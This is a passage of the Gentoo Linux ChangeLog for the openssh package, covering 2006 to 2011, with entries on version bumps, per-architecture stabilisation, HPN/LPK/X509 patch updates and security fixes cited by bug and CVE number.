Default HPN to on when available #347193 by Jeremy + Olexa. + +*openssh-5.7_p1-r1 (25 Jan 2011) + + 25 Jan 2011; Mike Frysinger +openssh-5.7_p1-r1.ebuild, + +files/openssh-5.7_p1-x509-hpn-glue.patch: + Add x509/ldap/hpn support back in. Auto-remove ecdsa support from init.d if + openssl lacks support #352645 by William Throwe. + +*openssh-5.7_p1 (24 Jan 2011) + + 24 Jan 2011; Mike Frysinger +openssh-5.7_p1.ebuild, + +files/sshd.rc6.2: + Version bump. + + 10 Dec 2010; Robin H. Johnson metadata.xml: + Update restrict in metadata per mgorny's request to use DEPEND syntax. + + 04 Dec 2010; Raúl Porcel openssh-5.6_p1-r2.ebuild: + alpha/ia64/m68k/s390/sh stable wrt #346395 + + 29 Nov 2010; Brent Baude openssh-5.6_p1-r2.ebuild: + stable ppc64, bug 346395 + + 27 Nov 2010; Michael Weber openssh-5.6_p1-r2.ebuild: + arm/sparc stable (bug 346395) + + 24 Nov 2010; Jeroen Roovers openssh-5.6_p1-r2.ebuild: + Stable for HPPA PPC (bug #346395). + + 22 Nov 2010; Markos Chandras openssh-5.6_p1-r2.ebuild: + Stable on amd64 wrt bug #346395 + + 22 Nov 2010; Thomas Kahle openssh-5.6_p1-r2.ebuild: + x86 stable per bug 346395 + + 11 Oct 2010; Diego E. Pettenò + openssh-5.6_p1-r2.ebuild, +files/sshd.rc6.1: + Update init script to not regenerate the RSA1 host key (for SSH Protocol + 1) unless Protocol 1 is enabled. Modern OpenSSH versions disable Protocol + 1 in the daemon by default. + +*openssh-5.6_p1-r2 (30 Sep 2010) + + 30 Sep 2010; Mike Frysinger +openssh-5.6_p1-r2.ebuild, + +files/openssh-5.6_p1-hpn-progressmeter.patch: + Switch to latest upstream hpn patch, and fix a pointer error in it. + + 24 Sep 2010; Raúl Porcel openssh-5.5_p1-r2.ebuild: + alpha/ia64/m68k/s390/sh/sparc stable wrt #334165 + + 23 Sep 2010; Markus Meier openssh-5.5_p1-r2.ebuild: + arm stable, bug #334165 + + 06 Sep 2010; Brent Baude openssh-5.5_p1-r2.ebuild: + Marking openssh-5.5_p1-r2 ppc64 for bug 334165 + + 28 Aug 2010; Markos Chandras + openssh-5.5_p1-r2.ebuild: + Stable on amd64 wrt bug #334165 + + 28 Aug 2010; Jeroen Roovers openssh-5.5_p1-r2.ebuild: + Stable for HPPA PPC (bug #334165). + +*openssh-5.6_p1-r1 (26 Aug 2010) + + 26 Aug 2010; Mike Frysinger +openssh-5.6_p1-r1.ebuild, + +files/openssh-5.6_p1-x509-hpn-glue.patch: + Update hpn/ldap/x509 patches to new release. + + 25 Aug 2010; Robin H. Johnson openssh-5.6_p1.ebuild: + Update HPN and LPK patches for 5.6p1 series. + + 24 Aug 2010; Pawel Hajdan jr + openssh-5.5_p1-r2.ebuild: + x86 stable wrt bug #334165 + +*openssh-5.6_p1 (23 Aug 2010) + + 23 Aug 2010; Mike Frysinger +openssh-5.6_p1.ebuild: + Version bump. + +*openssh-5.5_p1-r2 (20 Jun 2010) +*openssh-5.4_p1-r3 (20 Jun 2010) + + 20 Jun 2010; Mike Frysinger +openssh-5.4_p1-r3.ebuild, + +openssh-5.5_p1-r2.ebuild: + Switch to the official hpn patches. + +*openssh-5.5_p1-r1 (20 Apr 2010) + + 20 Apr 2010; Robin H. Johnson + +openssh-5.5_p1-r1.ebuild: + The 5.4 patchsets for HPN and LPK apply and work perfectly with 5.5. + +*openssh-5.5_p1 (16 Apr 2010) + + 16 Apr 2010; Mike Frysinger +openssh-5.5_p1.ebuild: + Version bump. + +*openssh-5.4_p1-r2 (29 Mar 2010) + + 29 Mar 2010; Robin H. Johnson + +openssh-5.4_p1-r2.ebuild: + Revbump with HPN and LPK patches available again now. Ported and submitted + to upstream authors. X509 now has more conflicts with HPN, future + revisions may require selection of: x509 XOR (hpn OR lpk). + +*openssh-5.4_p1-r1 (29 Mar 2010) + + 29 Mar 2010; Mike Frysinger +openssh-5.4_p1-r1.ebuild, + +files/openssh-5.4_p1-pkcs11.patch, + +files/openssh-5.4_p1-relative-AuthorizedKeysFile.patch: + Fixes from upstream for pkcs build problems #310929 by Alan Hourihane and + for relative AuthorizedKeysFile handling #308939 by Eric Vander Weele. + + 20 Mar 2010; Mike Frysinger openssh-5.3_p1-r1.ebuild, + openssh-5.4_p1.ebuild: + Fix warning with USE="X509 ldap" #310287 by Nico Baggus. + + 19 Mar 2010; Raúl Porcel openssh-5.3_p1-r1.ebuild: + sparc stable wrt #308555 + + 19 Mar 2010; Mike Frysinger openssh-5.3_p1-r1.ebuild: + Mark alpha/arm/ia64/s390/sh stable #308555. + + 18 Mar 2010; Christian Faulhammer + openssh-5.3_p1-r1.ebuild: + stable x86, bug 308555 + + 13 Mar 2010; Mike Frysinger openssh-5.4_p1.ebuild: + Drop USE=pkcs11 per Alon Bar-Lev #308431. + + 12 Mar 2010; Jeroen Roovers openssh-5.3_p1-r1.ebuild: + Stable for HPPA (bug #308555). + + 12 Mar 2010; Markos Chandras + openssh-5.3_p1-r1.ebuild: + Stable on amd64 wrt bug #308555 + + 10 Mar 2010; Joseph Jezak openssh-5.3_p1-r1.ebuild: + Marked ppc/ppc64 stable for bug #308555. + +*openssh-5.4_p1 (09 Mar 2010) + + 09 Mar 2010; Mike Frysinger +openssh-5.4_p1.ebuild, + +files/openssh-5.4_p1-openssl.patch: + Version bump #308431 by Dirkjan Ochtman. + + 27 Oct 2009; Raúl Porcel openssh-5.2_p1-r3.ebuild: + ia64/m68k/s390/sh/sparc stable wrt #287292 + + 11 Oct 2009; nixnut openssh-5.2_p1-r3.ebuild: + ppc stable #287292 + + 11 Oct 2009; Tobias Klausmann + openssh-5.2_p1-r3.ebuild: + Stable on alpha, bug #287292 + + 11 Oct 2009; Robin H. Johnson + openssh-5.3_p1-r1.ebuild, +files/openssh-5.3_p1-pkcs11-hpn-glue.patch: + Bug #288498: Now we need a glue patch for pkcs11 and HPN together. Really + some of these patchsets need to go to upstream. + +*openssh-5.3_p1-r1 (10 Oct 2009) + + 10 Oct 2009; Robin H. Johnson + +openssh-5.3_p1-r1.ebuild: + Ported the HPN and LPK patches to 5.3p1, mailed upstream as well. + + 07 Oct 2009; Mike Frysinger openssh-5.2_p1-r2.ebuild, + openssh-5.2_p1-r3.ebuild, openssh-5.3_p1.ebuild: + Fix static_use_with handling when there is one option #287292 by Jaak + Ristioja. + + 03 Oct 2009; Jeroen Roovers openssh-5.2_p1-r3.ebuild: + Stable for HPPA (bug #287292). + + 03 Oct 2009; Brent Baude openssh-5.2_p1-r3.ebuild: + Marking openssh-5.2_p1-r3 ppc64 for bug 287292 + + 03 Oct 2009; Markus Meier openssh-5.2_p1-r3.ebuild: + amd64/arm/x86 stable, bug #287292 + +*openssh-5.3_p1 (03 Oct 2009) + + 03 Oct 2009; Mike Frysinger +openssh-5.3_p1.ebuild: + Version bump. + +*openssh-5.2_p1-r3 (23 Aug 2009) + + 23 Aug 2009; Mike Frysinger +openssh-5.2_p1-r3.ebuild, + +files/openssh-5.2_p1-gsskex-fix.patch, + +files/openssh-5.2_p1-x509-hpn-glue.patch: + Update x509 patch, update gsskex patch #279488 by Harald Barth, and update + x509/hpn glue #270508 by BedOS_Gui. + + 13 Aug 2009; Mike Frysinger openssh-5.0_p1-r2.ebuild, + openssh-5.1_p1-r2.ebuild, openssh-5.1_p1-r3.ebuild, + openssh-5.2_p1-r1.ebuild, openssh-5.2_p1-r2.ebuild: + Suggest people reload the sshd server rather than restart it. + + 12 Aug 2009; Christian Ruppert files/sshd.rc6: + Removed "-b 1024" to use ServerKeyBits option instead. + + 19 Jul 2009; Mike Frysinger files/sshd.rc6: + Add checkconfig to reload() #277007 by MichaÅ‚ Górny. + + 10 Jul 2009; Robin H. Johnson files/sshd.rc6: + Allow public calls to checkconfig and gen_keys, for helping automation and + sanity checks. + + 23 Jun 2009; Mike Frysinger openssh-5.2_p1-r2.ebuild, + +files/openssh-5.2_p1-autoconf.patch: + Workaround autoconf-2.63 issues with empty else statements. + + 18 May 2009; Robin H. Johnson + openssh-5.2_p1-r1.ebuild, openssh-5.2_p1-r2.ebuild, + +files/openssh-5.2p1-ldap-stdargs.diff: + Bug #266654: Fix LPK compile under uclibc due to missing include statement + thanks to Bertrand Jacquin . + + 18 May 2009; Robin H. Johnson + openssh-5.2_p1-r2.ebuild: + New release of the HPN patch that makes it mostly usable now. The + multithreaded AES-CTR portion is disabled to avoid hangs however. + + 20 Apr 2009; Mike Frysinger openssh-5.2_p1-r2.ebuild: + Skip pkcs11/kerberos support when USE=static by Alon Bar-Lev #266404 by + Jan Paesmans. + + 12 Apr 2009; Robin H. Johnson + openssh-5.2_p1-r2.ebuild: + Switch to UID instead of hardcoded portage per bug #264841 comment. + + 12 Apr 2009; Robin H. Johnson files/sshd.rc6: + Bug #265491, fix opts with baselayout1. + + 12 Apr 2009; Robin H. Johnson + openssh-5.2_p1-r1.ebuild, openssh-5.2_p1-r2.ebuild: + Bug #264841, the ssh testsuite needs a real shell to run, so run a subset + of tests otherwise. + + 04 Apr 2009; Raúl Porcel openssh-5.2_p1-r1.ebuild: + alpha/arm/ia64/m68k/s390/sh/sparc stable wrt #247466 + + 02 Apr 2009; Markus Meier openssh-5.2_p1-r1.ebuild: + amd64/x86 stable, bug #247466 + + 02 Apr 2009; Brent Baude openssh-5.2_p1-r1.ebuild: + Marking openssh-5.2_p1-r1 ppc64 and ppc for bug 247466 + + 02 Apr 2009; Jeroen Roovers openssh-5.2_p1-r1.ebuild: + Stable for HPPA (bug #247466). + + 11 Mar 2009; Robin H. Johnson + openssh-5.2_p1-r1.ebuild, openssh-5.2_p1-r2.ebuild: + Add the SSH testsuite, because I think the latest HPN patch has a breakage + that was missed. + +*openssh-5.2_p1-r2 (09 Mar 2009) + + 09 Mar 2009; Robin H. Johnson + +openssh-5.2_p1-r2.ebuild: + Added my own unofficial port of the HPN patch, because performance sucks + without it. + + 25 Feb 2009; Mike Frysinger openssh-5.2_p1-r1.ebuild: + Update pkcs11 patch #152170. + +*openssh-5.2_p1-r1 (24 Feb 2009) + + 24 Feb 2009; Robin H. Johnson + +openssh-5.2_p1-r1.ebuild: + LPK patch updated for new OpenSSH release. + + 24 Feb 2009; Mike Frysinger openssh-5.2_p1.ebuild: + Fix X509 patching #260163 by Daniel J. + +*openssh-5.2_p1 (24 Feb 2009) + + 24 Feb 2009; Mike Frysinger +openssh-5.2_p1.ebuild: + Version bump #247466. + + 20 Feb 2009; Raúl Porcel openssh-5.1_p1-r2.ebuild: + ia64/sparc stable wrt #258940 + + 16 Feb 2009; Brent Baude openssh-5.1_p1-r2.ebuild: + stable ppc64, bug 258940 + + 15 Feb 2009; Markus Meier openssh-5.1_p1-r2.ebuild: + amd64/x86 stable, bug #258940 + + 14 Feb 2009; Brent Baude openssh-5.1_p1-r2.ebuild: + stable ppc, bug 258940 + + 14 Feb 2009; Jeroen Roovers openssh-5.1_p1-r2.ebuild: + Stable for HPPA (bug #258940). + + 14 Feb 2009; Tobias Klausmann + openssh-5.1_p1-r2.ebuild: + Stable on alpha, bug #258940 + + 14 Feb 2009; Mike Frysinger + +files/openssh-5.1_p1-x509-headers.patch, openssh-5.1_p1-r2.ebuild, + openssh-5.1_p1-r3.ebuild: + Fix implicit strsep() prototype in x509 code #258795 by orlin. + + 08 Feb 2009; Mike Frysinger openssh-4.4_p1-r6.ebuild, + openssh-4.5_p1-r2.ebuild, openssh-4.6_p1-r4.ebuild, + openssh-4.7_p1-r6.ebuild, openssh-4.7_p1-r20.ebuild, + openssh-5.0_p1-r1.ebuild, openssh-5.0_p1-r2.ebuild, openssh-5.1_p1.ebuild, + openssh-5.1_p1-r1.ebuild, openssh-5.1_p1-r2.ebuild, + openssh-5.1_p1-r3.ebuild: + Drop unused ccc eclass inherit. + + 21 Jan 2009; Jeremy Olexa openssh-5.1_p1-r3.ebuild: + Disable PATH reset in configure script, bug 254615 + + 15 Jan 2009; Robin H. Johnson metadata.xml: + Re-add my tag for metadata.xml, because it's a full + description, not just a restrict based on USE flags. And spanky didn't + have a changelog entry either. + + 13 Jan 2009; Mike Frysinger + files/openssh-5.1_p1-better-ssp-check.patch: + Fixup ssp detection patch #254365 by Felix Riemann. + +*openssh-5.1_p1-r3 (09 Jan 2009) + + 09 Jan 2009; Diego E. Pettenò + +openssh-5.1_p1-r3.ebuild: + Let PAM print motd and last login data to close bug #244816. + + 17 Nov 2008; Mike Frysinger + +files/openssh-5.1_p1-better-ssp-check.patch, openssh-5.1_p1-r1.ebuild, + openssh-5.1_p1-r2.ebuild: + Fix ssp detection on uClibc hosts. + +*openssh-5.1_p1-r2 (03 Nov 2008) + + 03 Nov 2008; Mike Frysinger + +files/openssh-5.1_p1-escaped-banner.patch, + +files/openssh-5.1_p1-null-banner.patch, +openssh-5.1_p1-r2.ebuild: + Fix some issues with printing of banners #244222 by MichaÅ‚ Górny. + + 01 Nov 2008; Robin H. Johnson openssh-5.1_p1.ebuild, + openssh-5.1_p1-r1.ebuild: + Bug #244760, we need to pass --with-ldap, not try to execute it. + + 30 Oct 2008; Brent Baude openssh-5.1_p1-r1.ebuild: + Marking openssh-5.1_p1-r1 ppc for bug 231292 + + 30 Oct 2008; Raúl Porcel openssh-5.1_p1-r1.ebuild: + alpha/ia64/sparc stable #231292 + + 27 Oct 2008; Brent Baude openssh-5.1_p1-r1.ebuild: + Marking openssh-5.1_p1-r1 ppc64 for bug 231292 + + 26 Oct 2008; Jeroen Roovers openssh-5.1_p1-r1.ebuild: + Stable for HPPA (bug #231292). + + 26 Oct 2008; Markus Meier openssh-5.1_p1-r1.ebuild: + amd64/x86 stable, bug #231292 + + 29 Aug 2008; Mike Frysinger openssh-5.1_p1.ebuild, + openssh-5.1_p1-r1.ebuild: + Tweak --with-ldap catch #235594 by BedOS_Gui. + +*openssh-5.1_p1-r1 (23 Aug 2008) + + 23 Aug 2008; Robin H. Johnson + +files/openssh-5.1_p1-ldap-hpn-glue.patch, metadata.xml, + +openssh-5.1_p1-r1.ebuild: + Update the LDAP patches, also mailed to upstream. + + 23 Aug 2008; Robin H. Johnson + +files/openssh-5.1_p1-x509-hpn-glue.patch, openssh-5.1_p1.ebuild: + Forward-port the X509/hpn glue patch per bug #235086. + +*openssh-5.1_p1 (17 Aug 2008) + + 17 Aug 2008; Mike Frysinger +openssh-5.1_p1.ebuild: + Version bump #232891 by Krzysztof Oledzki. + +*openssh-5.0_p1-r2 (23 Jul 2008) + + 23 Jul 2008; Diego Pettenò + +openssh-5.0_p1-r2.ebuild: + Add new revision that use pambase now that it's fully keyworded. Closes + bug #225141 by Davide Pesavento. + + 17 May 2008; nixnut openssh-4.7_p1-r20.ebuild: + Added ~ppc wrt bug 210777 + + 11 May 2008; Ulrich Mueller openssh-4.4_p1-r6.ebuild, + openssh-4.5_p1-r2.ebuild, openssh-4.6_p1-r4.ebuild, + openssh-4.7_p1-r6.ebuild, openssh-4.7_p1-r20.ebuild, + openssh-5.0_p1-r1.ebuild: + Fix dependency: app-admin/skey moved to sys-auth/skey. + +*openssh-5.0_p1-r1 (10 Apr 2008) + + 10 Apr 2008; Mike Frysinger +openssh-5.0_p1-r1.ebuild: + Update HPN and gsskex patch #216932 by Kamil Kisiel. + + 06 Apr 2008; Mike Frysinger openssh-5.0_p1.ebuild: + Remove accidental pkcs11-helper inclusion from DEPEND. + +*openssh-5.0_p1 (05 Apr 2008) + + 05 Apr 2008; Mike Frysinger +openssh-5.0_p1.ebuild: + Version bump. + + 03 Apr 2008; Tobias Scherbaum + openssh-4.7_p1-r6.ebuild: + ppc stable, bug #215702 + + 02 Apr 2008; Mike Frysinger openssh-4.9_p1-r1.ebuild: + Drop unnecessary USE=chroot #215820 by Cybertinus. + + 02 Apr 2008; Jeroen Roovers openssh-4.7_p1-r6.ebuild: + Stable for HPPA (bug #215702). + + 02 Apr 2008; Markus Rothe openssh-4.7_p1-r6.ebuild: + Stable on ppc64; bug #215702 + +*openssh-4.9_p1-r1 (02 Apr 2008) + + 02 Apr 2008; Mike Frysinger + +files/openssh-4.9_p1-x509-hpn-glue.patch, -openssh-4.9_p1.ebuild, + +openssh-4.9_p1-r1.ebuild: + Add updated X509/hpn patches. + + 02 Apr 2008; Raúl Porcel openssh-4.7_p1-r6.ebuild: + alpha/ia64/sparc stable wrt security #215702 + + 02 Apr 2008; Richard Freeman openssh-4.7_p1-r6.ebuild: + amd64 stable - 215702 + + 01 Apr 2008; Christian Faulhammer + openssh-4.7_p1-r6.ebuild: + stable x86, security bug 215702 + +*openssh-4.7_p1-r6 (01 Apr 2008) + + 01 Apr 2008; Mike Frysinger + +files/openssh-4.7_p1-ForceCommand.patch, +openssh-4.7_p1-r6.ebuild: + Fix for ForceCommand bypass #215702. + +*openssh-4.9_p1 (01 Apr 2008) + + 01 Apr 2008; Mike Frysinger +openssh-4.9_p1.ebuild: + Version bump. + + 01 Apr 2008; Chris PeBenito + +files/openssh-4.7p1-selinux.diff, openssh-4.7_p1-r5.ebuild, + openssh-4.7_p1-r20.ebuild: + fix bug #191665, in selinux portion of configure script. + + 30 Mar 2008; Raúl Porcel openssh-4.7_p1-r5.ebuild: + alpha/ia64/sparc stable wrt security #214985 + + 29 Mar 2008; Richard Freeman openssh-4.7_p1-r5.ebuild: + amd64 stable - 214985 + + 29 Mar 2008; Christian Faulhammer + openssh-4.7_p1-r5.ebuild: + stable x86, security bug 214985 + + 29 Mar 2008; Jeroen Roovers openssh-4.7_p1-r5.ebuild: + Stable for HPPA (bug #214985). + + 29 Mar 2008; Brent Baude openssh-4.7_p1-r5.ebuild: + Marking openssh-4.7_p1-r5 ppc64 and ppc for bug 214985 + +*openssh-4.7_p1-r5 (29 Mar 2008) + + 29 Mar 2008; Mike Frysinger + +files/openssh-4.7_p1-CVE-2008-1483.patch, + +files/openssh-4.7_p1-lpk-64bit.patch, + +files/openssh-4.7_p1-packet-size.patch, +openssh-4.7_p1-r5.ebuild: + Fix CVE-2008-1483 #214985. Fix from upstream for scp/packet problems #212433 + by Steven Parkes. Fix from Piotr Stolc for some LPK configs under 64bit + systems #210110. Add gsskex patch (for now) #115553. + + 17 Mar 2008; Santiago M. Mola + openssh-4.7_p1-r20.ebuild: + ~amd64 added wrt bug #210777 + + 14 Mar 2008; Diego Pettenò + openssh-4.7_p1-r20.ebuild: + Disable printing of motd and lastlog when enabling PAM, on the + pambase-dependent ebuild, as system-login takes care of that. Closes bug + #213234. + + 06 Mar 2008; Raúl Porcel openssh-4.7_p1-r20.ebuild: + Add ~alpha/~ia64 wrt #210777 + + 05 Mar 2008; Ferris McCormick + openssh-4.7_p1-r20.ebuild: + Add back ~sparc, Bug #210777, verified as still working with USE=pam. + + 05 Mar 2008; Brent Baude openssh-4.7_p1-r20.ebuild: + keyworded ~arch for ppc64, bug 210777 + + 04 Mar 2008; openssh-4.7_p1-r20.ebuild: + Marked ~x86 (bug #210777). Thanks to MichaÅ‚ WoÅ‚onkiewicz for + testing. + + 03 Mar 2008; Jeroen Roovers openssh-4.7_p1-r20.ebuild: + Marked ~hppa (bug #210777). + + 23 Feb 2008; Robin H. Johnson + openssh-4.4_p1-r6.ebuild, openssh-4.5_p1-r2.ebuild, + openssh-4.6_p1-r3.ebuild, openssh-4.7_p1-r1.ebuild: + Drop mips to ~mips because app-admin/skey has dropped the stable mips keyword. + + 23 Feb 2008; Robin H. Johnson metadata.xml: + Add myself as the contact point for LPK issues. I am on base-system for + everything else. + + 20 Feb 2008; Diego Pettenò + openssh-4.7_p1-r20.ebuild: + Fix dependencies for pambase/pam. + +*openssh-4.7_p1-r20 (19 Feb 2008) + + 19 Feb 2008; Diego Pettenò + +files/sshd.pam_include.2, +openssh-4.7_p1-r20.ebuild: + Add a new revision with pambase's system-remote-login as base stack. Now + also prints motd when using PAM. + + 12 Feb 2008; Santiago M. Mola + openssh-4.7_p1-r3.ebuild: + amd64 stable wrt bug #193401 + + 10 Feb 2008; Mike Frysinger + +files/openssh-4.7_p1-x509-hpn-glue.patch, openssh-4.7_p1-r4.ebuild: + Fix building with USE='X509 hpn' #209479 by Jose daLuz. + + 10 Feb 2008; Tobias Scherbaum + openssh-4.7_p1-r3.ebuild: + ppc stable, bug #193401 + + 09 Feb 2008; Brent Baude openssh-4.7_p1-r3.ebuild: + stable ppc64, bug 193401 + +*openssh-4.7_p1-r4 (09 Feb 2008) + + 09 Feb 2008; Mike Frysinger +openssh-4.7_p1-r4.ebuild: + Update HPN patch. + + 28 Jan 2008; Jeroen Roovers openssh-4.7_p1-r3.ebuild: + Stable for HPPA too. + + 24 Jan 2008; Raúl Porcel openssh-4.7_p1-r3.ebuild: + alpha/ia64/sparc/x86 stable + +*openssh-4.7_p1-r3 (21 Nov 2007) + + 21 Nov 2007; Mike Frysinger +openssh-4.7_p1-r3.ebuild: + Update x509/hpn patches. + + 08 Oct 2007; Mike Frysinger openssh-4.7_p1-r1.ebuild, + openssh-4.7_p1-r2.ebuild: + Mirrors have had long enough to update; drop restriction. + +*openssh-4.7_p1-r2 (29 Sep 2007) + + 29 Sep 2007; Mike Frysinger + +files/openssh-4.7_p1-GSSAPI-dns.patch, +openssh-4.7_p1-r2.ebuild: + Enable ssl-engine support #194163 by Nikhil Sethi and add GSSAPI/DNS patch + #165444 by Alex Iribarren. + + 27 Sep 2007; Joshua Kinard openssh-4.7_p1-r1.ebuild: + Stable on mips, per #191321. + + 25 Sep 2007; Mike Frysinger openssh-4.7_p1-r1.ebuild: + Force u+x perms on /etc/skel/.ssh for a while to help with older broken + installs. + + 22 Sep 2007; Mike Frysinger openssh-4.7_p1-r1.ebuild: + Upstream changed openssh-4.7p1-hpn12v18.diff.gz slightly so rebuild manifest + and prevent hitting Gentoo mirrors for a little while #193401 by Timothy + Redaelli. + + 20 Sep 2007; Mike Frysinger files/sshd.rc6: + If restarting, check the config first #192825 by Hans-Werner Hilse. + + 08 Sep 2007; Markus Rothe openssh-4.7_p1-r1.ebuild: + Stable on ppc64; bug #191321 + +*openssh-4.7_p1-r1 (07 Sep 2007) + + 07 Sep 2007; Mike Frysinger +openssh-4.7_p1-r1.ebuild: + Add X509 and hpn patches. + + 07 Sep 2007; Tobias Scherbaum + openssh-4.7_p1.ebuild: + ppc stable, bug #191321 + + 07 Sep 2007; Jeroen Roovers openssh-4.7_p1.ebuild: + Stable for HPPA (bug #191321). + + 07 Sep 2007; Chris Gianelloni openssh-4.7_p1.ebuild: + Stable on amd64 wrt bug #191321. + + 06 Sep 2007; Jose Luis Rivero openssh-4.7_p1.ebuild: + Stable on sparc wrt security bug #191321 + + 06 Sep 2007; Raúl Porcel openssh-4.7_p1.ebuild: + alpha/ia64 stable wrt security #191321 + + 06 Sep 2007; Andrej Kacian openssh-4.7_p1.ebuild: + Stable on x86, security bug #191321. + +*openssh-4.7_p1 (05 Sep 2007) + + 05 Sep 2007; Mike Frysinger +openssh-4.7_p1.ebuild: + Version bump #191321 by Rajiv Aaron Manglani. + + 25 Aug 2007; Mike Frysinger openssh-4.6_p1-r4.ebuild: + Punt securid stuff as upstream is not fast enough to update. + +*openssh-4.6_p1-r4 (06 Aug 2007) + + 06 Aug 2007; Mike Frysinger + +files/openssh-4.6_p1-chan-read-failed.patch, +openssh-4.6_p1-r4.ebuild: + Fix from upstream for spurious chan_read_failed errors #181407. + +*openssh-4.6_p1-r3 (06 Aug 2007) + + 06 Aug 2007; Mike Frysinger +openssh-4.6_p1-r3.ebuild: + Add updated ldap patch #187594. + + 04 Aug 2007; openssh-4.0_p1-r2.ebuild, + openssh-4.1_p1-r1.ebuild, openssh-4.5_p1-r2.ebuild, + openssh-4.6_p1-r2.ebuild: + Stable on amd64. See security bug #183958. + + 02 Aug 2007; Raúl Porcel openssh-4.5_p1-r2.ebuild, + openssh-4.6_p1-r2.ebuild: + x86 stable, no idea why i didn't stabilize them + + 23 Jul 2007; Mike Frysinger openssh-4.2_p1-r1.ebuild, + openssh-4.3_p2-r5.ebuild, openssh-4.4_p1-r6.ebuild, openssh-4.5_p1.ebuild, + openssh-4.5_p1-r1.ebuild, openssh-4.5_p1-r2.ebuild: + Punt bindnow-flags usage. + + 22 Jul 2007; Donnie Berkholz ; + openssh-4.3_p2-r5.ebuild: + Drop virtual/x11 references. + + 21 Jul 2007; Joseph Jezak openssh-4.0_p1-r2.ebuild, + openssh-4.1_p1-r1.ebuild, openssh-4.5_p1-r2.ebuild, + openssh-4.6_p1-r2.ebuild: + Marked ppc/ppc64 stable for bug #183958. + + 10 Jul 2007; Gustavo Zacarias + openssh-4.0_p1-r2.ebuild, openssh-4.1_p1-r1.ebuild: + Stable on sparc wrt #183958 + + 07 Jul 2007; Raúl Porcel openssh-4.0_p1-r2.ebuild, + openssh-4.1_p1-r1.ebuild: + alpha/ia64/x86 stable wrt #183958 + + 07 Jul 2007; Joshua Kinard openssh-4.0_p1-r2.ebuild, + openssh-4.1_p1-r1.ebuild, openssh-4.5_p1-r2.ebuild, + openssh-4.6_p1-r2.ebuild: + Stable on mips, per #183958. + + 05 Jul 2007; Raúl Porcel openssh-4.5_p1-r2.ebuild, + openssh-4.6_p1-r2.ebuild: + alpha/ia64 stable wrt #183958 + + 04 Jul 2007; Jeroen Roovers openssh-4.6_p1-r2.ebuild: + Stable for HPPA (bug #183958). + + 04 Jul 2007; Gustavo Zacarias + openssh-4.5_p1-r2.ebuild, openssh-4.6_p1-r2.ebuild: + Stable on sparc wrt #183958 + + 04 Jul 2007; Jeroen Roovers openssh-4.5_p1-r2.ebuild: + Stable for HPPA (bug #183958). + + 04 Jul 2007; Jeroen Roovers openssh-4.1_p1-r1.ebuild: + Stable for HPPA (bug #183958). + + 04 Jul 2007; Jeroen Roovers openssh-4.0_p1-r2.ebuild: + Stable for HPPA (bug #183958). + +*openssh-4.6_p1-r2 (02 Jul 2007) + + 02 Jul 2007; Diego Pettenò + +files/sshd.pam_include.1, +openssh-4.6_p1-r2.ebuild: + Revision bump to fix the pam.d file. + + 24 Apr 2007; Alexander Færøy + openssh-4.5_p1-r1.ebuild: + Stable on MIPS. + + 18 Mar 2007; Robin H. Johnson + openssh-4.5_p1-r2.ebuild: + Bug #169665, use slightly modified LPK patch to avoid conflict on configure + with SecurID patch. + +*openssh-4.6_p1-r1 (13 Mar 2007) + + 13 Mar 2007; Mike Frysinger + +files/openssh-4.6_p1-ChallengeResponseAuthentication.patch, + +openssh-4.6_p1-r1.ebuild: + Grab fix from upstream for ChallengeResponseAuthentication (to fix USE=pam + defaults) #170670 and add new hpn support. + +*openssh-4.6_p1 (11 Mar 2007) + + 11 Mar 2007; Mike Frysinger + +files/openssh-4.6_p1-include-string-header.patch, +openssh-4.6_p1.ebuild: + Version bump #170385 by Wolfram Schlich. + +*openssh-4.5_p1-r2 (05 Mar 2007) + + 05 Mar 2007; Robin H. Johnson + +openssh-4.5_p1-r2.ebuild: + Bug #168681. Bump for new versions of HPN (compile fix for strict compilers) + and LPK (Addition of LpkFilter as an LDAP filter). + +*openssh-4.5_p1-r1 (23 Feb 2007) + + 23 Feb 2007; Roy Marples files/sshd.rc6, + +openssh-4.5_p1-r1.ebuild: + Bump for a non bash init script. + + 08 Jan 2007; Michael Cummings + openssh-4.5_p1.ebuild: + Stable on amd64 wrt security bug 154389 + + 08 Jan 2007; Bryan Østergaard openssh-4.5_p1.ebuild: + Stable on Alpha, bug 154389. + + 08 Jan 2007; Gustavo Zacarias openssh-4.5_p1.ebuild: + Stable on sparc wrt security #154389 + + 07 Jan 2007; Tobias Scherbaum + openssh-4.5_p1.ebuild: + Stable on ppc wrt bug #154389. + + 07 Jan 2007; Markus Rothe openssh-4.5_p1.ebuild: + Stable on ppc64; bug #154389 + + 06 Jan 2007; Jeroen Roovers openssh-4.5_p1.ebuild: + Stable for HPPA (bug #154389). + + 06 Jan 2007; Christian Faulhammer + openssh-4.5_p1.ebuild: + stable x86, security bug #154389 + + 07 Dec 2006; Diego Pettenò + openssh-4.3_p2-r1.ebuild, openssh-4.3_p2-r5.ebuild, + openssh-4.4_p1-r6.ebuild, openssh-4.5_p1.ebuild: + Require dev-libs/libedit for libedit support, as it's going to be removed + from freebsd-lib in favour of a merged dev-libs/libedit ebuild. + + 08 Nov 2006; Ilya A. Volynets-Evenbakh + openssh-4.4_p1-r6.ebuild: + Stable on mips (#149502) + +*openssh-4.5_p1 (07 Nov 2006) + + 07 Nov 2006; Mike Frysinger +openssh-4.5_p1.ebuild: + Version bump #154389. + + 05 Nov 2006; Brent Baude openssh-4.4_p1-r6.ebuild: + Marking openssh-4.4_p1-r6 ppc64 stable for 149502 + + 03 Nov 2006; Fernando J. Pereda + openssh-4.4_p1-r6.ebuild: + Stable on alpha as per bug #149502 + +*openssh-4.4_p1-r6 (03 Nov 2006) + + 03 Nov 2006; Mike Frysinger + +files/openssh-4.4_p1-ldap-hpn-glue.patch, +openssh-4.4_p1-r6.ebuild: + Grab updated HPN patch to fix -C issues #153854. + + 01 Nov 2006; Tobias Scherbaum + openssh-4.4_p1-r5.ebuild: + ppc stable, bug #149502 + + 01 Nov 2006; Gustavo Zacarias + openssh-4.4_p1-r5.ebuild: + Stable on sparc wrt security #149502 + + 01 Nov 2006; Mike Frysinger + +files/openssh-4.4_p1-x509-hpn-glue.patch, openssh-4.4_p1-r5.ebuild: + Tweak X509 a little so HPN can apply at the sametime #151527 by Bob Reveley. + + 31 Oct 2006; Danny van Dyk + openssh-4.4_p1-r5.ebuild: + Marked stable on amd64. + + 31 Oct 2006; Andrej Kacian openssh-4.4_p1-r5.ebuild: + Stable on x86, security bug #152594. + + 31 Oct 2006; Jeroen Roovers openssh-4.4_p1-r5.ebuild: + Stable for HPPA (bug #149502). + +*openssh-4.4_p1-r5 (25 Oct 2006) + + 25 Oct 2006; Mike 